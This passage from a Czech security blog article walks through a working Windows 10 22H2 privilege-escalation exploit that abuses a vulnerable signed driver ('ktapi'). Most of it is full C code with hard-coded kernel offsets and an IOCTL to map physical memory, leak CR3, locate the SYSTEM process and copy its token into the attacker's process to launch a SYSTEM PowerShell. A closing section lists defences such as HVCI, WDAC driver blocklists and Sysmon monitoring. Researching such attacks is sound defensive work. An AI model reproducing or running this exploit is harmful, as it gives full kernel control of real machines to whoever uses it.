Tyto offsety potom můžeme používat dále v kódu, v exploitu jsou nadefinovány takto:
// Offsets for Windows 10 22H2 (build 19045)
#define HALP_LM_STUB_OFFSET 0x3F93E0ULL
#define EPROCESS_UNIQUEPROCESSID_OFFSET 0x440ULL
#define EPROCESS_ACTIVEPROCESSLINKS_OFFSET 0x448ULL
#define EPROCESS_TOKEN_OFFSET 0x4B8ULL
#define EPROCESS_IMAGEFILENAME_OFFSET 0x5A8ULL
Získávání čtení a zápisu fyzické paměti
Jako první, musíme získat handle na ovladač, což můžeme udělat jednoduchou funkcí:
BOOL openDriver(HANDLE *out){
if (out == NULL) {
return FALSE;
}
HANDLE hDevice = CreateFileA(
"\\\\.\\ktapi",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
*out = INVALID_HANDLE_VALUE;
return FALSE;
}
*out = hDevice;
return TRUE;
}
Při reversním inženýrství ovladače jsme byli schopni získat offsety a velikosti v struktury zprávy, která se posílá driveru, v reálném kódu by šla přeložit takto:
struct MAP_PHYSICAL_INPUT {
DWORD InterfaceType;
DWORD BusNumber;
ULONGLONG BusAddress;
DWORD AddressSpace;
DWORD Length;
};
Jakmile tohle máme už nám zbývá získat jenom "pointer pro fyzickou paměť", který můžeme získat pomocí následující funkce:
BOOL getPointerForPhysicalAddress(ULONGLONG busAddress, DWORD length, BYTE **out){
if (out == NULL) {
return FALSE;
}
struct MAP_PHYSICAL_INPUT in = {
.InterfaceType = 0,
.BusNumber = 0,
.BusAddress = busAddress,
.AddressSpace = 0,
.Length = length,
};
DWORD returned = 0;
ULONGLONG tmp = 0;
BOOL ok = DeviceIoControl(
g_hDevice,
0x82007000,
&in, sizeof(in),
&tmp, sizeof(tmp),
&returned, NULL
);
if (ok && returned == sizeof(ULONGLONG)) {
*out = (BYTE*)(uintptr_t)tmp;
return TRUE;
}
return FALSE;
}
Potom už jen doděláme funkce, pro komfortní práci s pamětí:
// Read physical memory
static BOOL readPhysical(ULONGLONG address, void *buf, DWORD size){
BYTE *mapping = NULL;
if (!getPointerForPhysicalAddress(address, size, &mapping)) {
return FALSE;
}
memcpy(buf, mapping, size);
return TRUE;
}
// Read 64 bits from physical memory
static BOOL readPhysical64(ULONGLONG address, ULONGLONG *value){
return readPhysical(address, value, sizeof(ULONGLONG));
}
// Write physical memory
static BOOL writePhysical(ULONGLONG address, const void *buf, DWORD size){
BYTE *mapping = NULL;
if (!getPointerForPhysicalAddress(address, size, &mapping)) {
return FALSE;
}
memcpy(mapping, buf, size);
return TRUE;
}
// Write 64 bits to physical memory
static BOOL writePhysical64(ULONGLONG address, ULONGLONG value){
return writePhysical(address, &value, sizeof(ULONGLONG));
}
Získání ntosBase
ntosBase je virtuální adresa začátku ntoskrnl.exe v kernelovém prostoru. Je to základní kámen pro výpočet adresy nt!HalpLMStub a parsování exportů pro PsInitialSystemProcess.
Získáváme ho pomocí WinAPI funkce EnumDeviceDrivers, která vrátí pole base adres všech načtených kernel driverů. Pak projdeme toto pole a hledáme driver se jménem ntoskrnl.exe (nebo ntkrnlmp.exe).
ULONG64 GetNtosBase() {
LPVOID driverBaseAddresses[1024];
DWORD sizeRequired;
if (!EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {
return 0;
}
DWORD count = sizeRequired / sizeof(LPVOID);
if (count > 1024) {
count = 1024;
}
for (DWORD i = 0; i < count; i++) {
char name[MAX_PATH] = {0};
if (GetDeviceDriverBaseNameA(driverBaseAddresses[i], name, sizeof(name))) {
if (_stricmp(name, "ntoskrnl.exe") == 0 ||
_stricmp(name, "ntkrnlmp.exe") == 0) {
ULONG64 base = (ULONG64)driverBaseAddresses[i];
if ((base >> 32) == 0xffffffffULL) {
base = (base & 0xFFFFFFFFULL) | 0xFFFFF80000000000ULL;
}
return base;
}
}
}
return 0;
}
Musíme si ještě dát pozor že na verzích Windows vyšších než 10 v user-mode maskuje horní bity. Proto nahradíme 32 horních bitů za 0xFFFFF800, což je typický základ kernel adres na x64.
Získávání CR3
Aby jsme mohli překládat z virtuální na fyzickou, musíme získat CR3. A to je právě uložené v Low Stub (PROCESSOR_START_BLOCK) struktuře, které jádro vytváří při bootu. Tato struktura leží v 1 MB fyzické paměti (v exploitu je 16 MB z důvodu stability, protože mi exploit fungoval jenom někdy a 16 MB je bezpečná hodnota) a obsahuje:
| Offset | Co tam je |
|---|---|
+0x70 | HalpLMStub - pointer na nt!HalpLMStub (signatura) |
+0xA0 | CR3 - hodnota, kterou hledáme |
ULONG64 getCR3() {
ULONG64 ntosBase = GetNtosBase();
if (!ntosBase) {
return 0;
}
ULONG64 halpLMStub = ntosBase + HALP_LM_STUB_OFFSET;
printf("[+] ntoskrnl base : 0x%llx\n", ntosBase);
printf("[+] HalpLMStub VA: 0x%llx\n", halpLMStub);
for (ULONG64 base = 0; base < SCAN_LIMIT; base += MAX_MAP_SIZE) {
BYTE *memory_data = NULL;
if (!getPointerForPhysicalAddress(base, (DWORD)MAX_MAP_SIZE, &memory_data)) {
continue;
}
for (ULONG64 offset = 0; offset < MAX_MAP_SIZE; offset += 8) {
ULONG64 qword = *(ULONG64*)(memory_data + offset);
if (qword == halpLMStub) {
printf("[+] Found nt!HalpLMStub in Low Stub at phys 0x%llx\n",
base + offset);
ULONG64 cr3 = 0;
readPhysical64(base + offset + 0x30, &cr3);
cr3 &= 0x000FFFFFFFFFF000ULL;
printf("[+] Leaked CR3 -> 0x%llx\n", cr3);
return cr3;
}
}
}
return 0;
}
Trik spočívá v tom, že si dokážeme dopočítat hodnotu nt!HalpLMStub. Low stub obsahuje tu samou hodnotu a o 0x30(víme pomocí 0xA0 - 0x70) dále leží CR3.
Důvod proč mapujeme paměť jenom po 2 MB je že při testování ovladač odmítl namapovat více, a to zřejmě kvůli funkci
HalTranslateBusAddressv ovladači. Která při požadavku na mapování více místa vypsala error, a mapování tak selhalo.
Přeložení virtuální adresy na fyzickou
Po získání CR3 jsme schopni proces překládání fyzické adresy na virtuální obrátit pomocí page-walkingu vysvětlený nahoře. Je to vlastně jen softwarová implementace funkce procesoru, jen naopak:
BOOL virtualToPhysical(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *physicalAddr) {
ULONG64 i4 = (virtualAddr >> 39) & 0x1FF;
ULONG64 i3 = (virtualAddr >> 30) & 0x1FF;
ULONG64 i2 = (virtualAddr >> 21) & 0x1FF;
ULONG64 i1 = (virtualAddr >> 12) & 0x1FF;
ULONG64 offset = virtualAddr & 0xFFF;
ULONG64 entry;
// PML4E
if (!readPhysical64((cr3 & ~0xFFFULL) + i4 * 8, &entry)) {
return FALSE;
}
if (!(entry & 1)) {
return FALSE;
}
ULONG64 pdpt = entry & 0x000FFFFFFFFFF000ULL;
// PDPTE
if (!readPhysical64(pdpt + i3 * 8, &entry)) {
return FALSE;
}
if (!(entry & 1)) {
return FALSE;
}
if (entry & (1ULL << 7)) {
*physicalAddr = (entry & 0x000FFFFFC0000000ULL) + (virtualAddr & 0x3FFFFFFFULL);
return TRUE;
}
ULONG64 pd = entry & 0x000FFFFFFFFFF000ULL;
// PDE
if (!readPhysical64(pd + i2 * 8, &entry)) {
return FALSE;
}
if (!(entry & 1)) {
return FALSE;
}
if (entry & (1ULL << 7)) {
*physicalAddr = (entry & 0x000FFFFFFFE00000ULL) + (virtualAddr & 0x1FFFFFULL);
return TRUE;
}
ULONG64 pt = entry & 0x000FFFFFFFFFF000ULL;
// PTE
if (!readPhysical64(pt + i1 * 8, &entry)) {
return FALSE;
}
if (!(entry & 1)) {
return FALSE;
}
*physicalAddr = (entry & 0x000FFFFFFFFFF000ULL) + offset;
return TRUE;
}
Potom jen stačí udělat funkce které využijí tohoto překladu:
// Read virtual memory
BOOL readVirtual(ULONG64 cr3, ULONG64 virtualAddr, void *buf, DWORD size) {
BYTE *out = (BYTE*)buf;
DWORD done = 0;
while (done < size) {
ULONG64 pa = 0;
if (!virtualToPhysical(cr3, virtualAddr + done, &pa)) {
return FALSE;
}
DWORD pageRemaining = 0x1000 - (DWORD)(pa & 0xFFF);
DWORD remaining = size - done;
DWORD toRead = pageRemaining;
if (remaining < pageRemaining) {
toRead = remaining;
}
if (!readPhysical(pa, out + done, toRead)) {
return FALSE;
}
done += toRead;
}
return TRUE;
}
// Read 64 bits from virtual memory
BOOL readVirtual64(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *value) {
return readVirtual(cr3, virtualAddr, value, sizeof(ULONG64));
}
Nacházení SYSTEM tokenu
Aby jsme našli fyzickou adresu EPROCESS tokenu programu, který běží jako SYSTEM. Musíme najít globální exportovanou proměnou psInitialSystemProcess která obsahuje adresu EPROCESS tokenu pro SYSTEM proces (PID 4). Tu můžeme najít pomocí vytvořené funkce v exploitu (getSymbolAddress), která provádí následující kroky:
Přečtení DOS headeru
IMAGE_DOS_HEADER dos;
if (!readVirtual(cr3, ntosBase, &dos, sizeof(dos))) {
return 0;
}
if (dos.e_magic != IMAGE_DOS_SIGNATURE) {
return 0;
}
Tímto kódem přečteme prvních 64 bajtů ntoskrnl.exe, zkontrolujeme že začíná na MZ (signatura dos headeru) a získáme dos.e_lfanew což je offset NT headeru (obvykle 0xF8).
Přečtení NT headeru
IMAGE_NT_HEADERS64
if (!readVirtual(cr3, ntosBase + dos.e_lfanew, &nt, sizeof(nt)))
return 0;
}
if (nt.Signature != IMAGE_NT_SIGNATURE) {
return 0;
}
Zde přečteme NT header (264 bajtů na x64), zkontrolujeme signaturu PE\0\0 a získáme DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] což je RVA exportní tabulky.
Přečtení export directory
IMAGE_DATA_DIRECTORY expDir = nt.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (expDir.VirtualAddress == 0) {
return 0;
}
IMAGE_EXPORT_DIRECTORY exp;
if (!readVirtual(cr3, ntosBase + expDir.VirtualAddress, &exp, sizeof(exp))) {
return 0;
}
IMAGE_EXPORT_DIRECTORY obsahuje metadata:
NumberOfNames- počet exportovaných jmen.NumberOfFunctions- počet exportovaných funkcí.AddressOfNames- RVA pole jmen.AddressOfNameOrdinals- RVA pole ordinálů.AddressOfFunctions- RVA pole adres funkcí.
Načtení tří polí
DWORD *names = (DWORD*)malloc(exp.NumberOfNames * sizeof(DWORD));
WORD *ordinals = (WORD*)malloc(exp.NumberOfNames * sizeof(WORD));
DWORD *functions = (DWORD*)malloc(exp.NumberOfFunctions * sizeof(DWORD));
if (!names || !ordinals || !functions) {
return 0;
}
readVirtual(cr3, ntosBase + exp.AddressOfNames, names, exp.NumberOfNames * sizeof(DWORD));
readVirtual(cr3, ntosBase + exp.AddressOfNameOrdinals, ordinals, exp.NumberOfNames * sizeof(WORD));
readVirtual(cr3, ntosBase + exp.AddressOfFunctions, functions, exp.NumberOfFunctions * sizeof(DWORD));
names- pole RVA řetězců se jmény ("PsInitialSystemProcess", "KeBugCheck", ...).ordinals- pole indexů dofunctions.functions- pole RVA adres funkcí.
Procházení jmen a nacházení symbolu
for (DWORD i = 0; i < exp.NumberOfNames; i++) {
char name[64];
if (!readVirtual(cr3, ntosBase + names[i], name, sizeof(name))) {
continue;
}
name[63] = 0;
if (strcmp(name, symbol) == 0) {
result = ntosBase + functions[ordinals[i]];
break;
}
}
Pro každé jméno:
- Přečteme řetězec z
ntosBase + names[i]. - Porovnáváme s hledaným symbolem.
- Pokud se rovná:
ordinals[i]= index do pole funkcífunctions[ordinals[i]]= RVA symboluntosBase + RVA= virtuální adrese symbolu
Použití v kódu
V exploitu takhle hledáme dynamicky symbol psInitialSystemProcess. Vzhledem k tomu že to je dynamické hledání, máme benefit toho, že nezávisíme na konkrétním offsetu ve konkrétní verzi Windows, ale jsme místo toho schopni si psInitialSystemProcess dohledat sami.
Potom už stačí jenom přečíst psInitialSystemProcess, který obsahuje virtuální adresu "SYSTEM tokenu" a tu pak převést na fyzickou, s kterou můžeme pracovat.
printf("[+] Resolving PsInitialSystemProcess...\n");
ULONG64 psInitialSystemProcess = getSymbolAddress(cr3, ntosBase, "PsInitialSystemProcess");
if (!psInitialSystemProcess) {
printf("[-] Failed to find PsInitialSystemProcess\n");
return 1;
}
printf("[+] PsInitialSystemProcess = 0x%llx\n", psInitialSystemProcess);
// Read SYSTEM EPROCESS virtual address
ULONG64 systemEprocessVA = 0;
if (!readVirtual64(cr3, psInitialSystemProcess, &systemEprocessVA)) {
printf("[-] Failed to read SYSTEM EPROCESS VA\n");
return 1;
}
printf("[+] SYSTEM EPROCESS VA = 0x%llx\n", systemEprocessVA);
// Translate to physical address
ULONG64 systemEprocessPhys = 0;
if (!virtualToPhysical(cr3, systemEprocessVA, &systemEprocessPhys)) {
printf("[-] VA->PA failed for SYSTEM EPROCESS\n");
return 1;
Získání vlastního EPROCESS
Máme fyzickou adresu na EPROCESS token SYSTEM procesu. Teď potřebujeme najít náš EPROCESS abychom mu mohli přepsat token. Využijeme k tomu kruhový obousměrný seznam procesů.
Princip
Všechny EPROCESS struktury v systému jsou propojené přes pole ActiveProcessLinks (offset 0x448). Je to jako řetěz, kde každý článek ukazuje na další. Když známe jeden EPROCESS (SYSTEM), můžeme pak projít všechny ostatní:
Na každém procesu v seznamu si přečteme PID a porovnáme s naším PID. Když se rovnají, našli jsme svůj EPROCESS. V exploitu je to implementováno takto:
Získání vlastní PID
DWORD myPid = GetCurrentProcessId();
Toto je PID našeho procesu z user-space.
Start u SYSTEM EPROCESS
ULONG64 currentPhys = systemEprocessPhys;
ULONG64 myEprocessPhys = 0;
Procházení seznamu
Zbytek kódu už jenom procházíme seznam do té doby než nenajdeme náš EPROCESS nebo se dostaneme zpátky k SYSTEM a náš EPROCESS nenajdeme:
for (int i = 0; i < 1000; i++) {
// Přečti PID z currentPhys + 0x440
ULONG64 pid = 0;
readPhysical64(currentPhys + EPROCESS_UNIQUEPROCESSID_OFFSET, &pid);
// Přečti jméno procesu (pro debug výpis)
char name[16] = {0};
readPhysical(currentPhys + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
printf("[+] [%d] PID=%llu name='%s'\n", i, pid, name);
// Porovnej s naší PID
if ((DWORD)pid == myPid) {
myEprocessPhys = currentPhys;
printf("[+] Found our EPROCESS at PA 0x%llx\n", currentPhys);
break;
}
// Přejdi na další EPROCESS přes Flink
ULONG64 flink = 0;
readPhysical64(currentPhys + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, &flink);
// Flink ukazuje na pole ActiveProcessLinks dalšího EPROCESS
// Odečti offset, abys dostal začátek dalšího EPROCESS
ULONG64 nextVA = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
// Přelož VA → PA
ULONG64 nextPhys = 0;
if (!virtualToPhysical(cr3, nextVA, &nextPhys)) {
printf("[-] VA->PA failed for next EPROCESS\n");
return 1;
}
// Kontrola kruhu
if (nextPhys == systemEprocessPhys) {
break;
}
// Posun na další
currentPhys = nextPhys;
}
Přepsání vlastního EPROCESS
Po tomhle všem už nám stačí jenom přečíst SYSTEM token a přepsat ním svůj token, a spustit powershell. Který bude mít díky přepsanému tokenu privilegia NT AUTHORITY\SYSTEM.
// Read SYSTEM token
ULONG64 systemToken = 0;
readPhysical64(systemEprocessPhys + EPROCESS_TOKEN_OFFSET, &systemToken);
systemToken &= 0xFFFFFFFFFFFFFFF0ULL;
printf("[+] SYSTEM token = 0x%llx\n", systemToken);
// Overwrite our token
writePhysical64(myEprocessPhys + EPROCESS_TOKEN_OFFSET, systemToken);
printf("[+] Token stolen! Enjoy SYSTEM :)\n");
system("start powershell");
Demo
Celý funkční exploit můžete najít v GitHub repozitáři který je nahoře nad článkem. Nicméně exploit v akci vypadá takto:
Obrana
Ohledně protekce proti útokům jako BYOVD, doporučuju následující věci:
Zapnout ochranu ve Windows
V sekci moderní ochrany kernelu jsem popisoval ochrany, které jde zapnout nebo už zapnuté jsou, a myslím si že stojí za to si je projít a zkontrolovat:
Z pohledu BYOVD je asi nejdůležitější HVCI (Memory Integrity). I když se zranitelný ovladač načte, HVCI vynutí, že v kernelu poběží jen podepsaný kód, tím padají klasické techniky typu "zapiš si shellcode do kernelu a spusť ho". Neřeší to úplně všechno (třeba manipulace s tokenem přes arbitrary write, jak jsme viděli v tomto článku), ale útočníkovi to prostor zúží.
Pravda je že na konkrétní ochrany existují v některých případech i konkrétní způsoby, jak je obejít. To ale neznamená že útočníkovi jeho práci neztíží.
Použít LOLDrivers API
LOLDrivers mají bezplatné API, které vrací feed v JSON nebo CSV s vlastním blocklistem. Tady bych ale rozlišil detekci a prevenci. Napojit feed na EDR kvůli alertům je dobré, ale lepší je ale zranitelné ovladače rovnou blokovat. Nativní mechanismus na to je WDAC a LOLDrivers k tomu rovnou publikují hotové WDAC policy, takže místo obecného "propojit s detekcí" doporučuju vzít jejich policy / hashe a nasadit je přes WDAC.
Smysl to dává hlavně kvůli tomuto časovému oknu: i přes to že má Microsoft svůj vlastní blocklist ovladačů, existuje určité okno mezi tím, kdy se ovladač začne zneužívat, a tím, kdy ho Microsoft na blocklist přidá. Na LOLDrivers listě se zranitelné ovladače objevují dřív, takže tohle okno jde zmenšit.
Na co si dát pozor
Tenhle přístup má ale dvě úskalí:
-
Blokování podle hashů řeší jenom to, co už v listu je. Útočník může sáhnout po ovladači, který zatím na listu není, takže blocklist ano, ale doplněný o behaviorální detekci, tedy monitoring load eventů ovladačů (Sysmon Event ID 6).
-
Část ovladačů na blocklistu se pořád legitimně používá (OEM, gaming, antiviry). Proto je dobré si WDAC policy předem otestovat, aby se fungování systému nerozbilo.
Aktualizovat systém
Vím že tohle je asi nejvíce používaná věta v IT. Ale i tak sem patří ze 2 důvodů:
-
Ve scénáři BYOVD, s aktualizacemi Windows chodí i aktualizace Microsoft blocklistu, čím je systém aktuálnější, tím více ovladačů je zablokovaných.
-
Když udržujeme aktualizované ovladače jako takové (a odinstalujeme ty, které nepotřebujeme), útočník nemá potom na co zaútočit.
Závěr
Popravdě musím uznat, že tenhle projekt byl pro mě náročný. Začínal jsem s tím že jsem měl znalost o ringách a o virtualizaci paměti. Myslím si ale, že tenhle projekt mi celkově hodně dal o znalosti jak Windows kernelu a ovladačů, tak i znalost počítače jako takového. Také to potvrdilo můj zájem o low-level, i přesto že jsem narazil na spoustu problémů, mě tenhle projekt vážně bavil. Takže můžete počítat s více články tohoto typu.






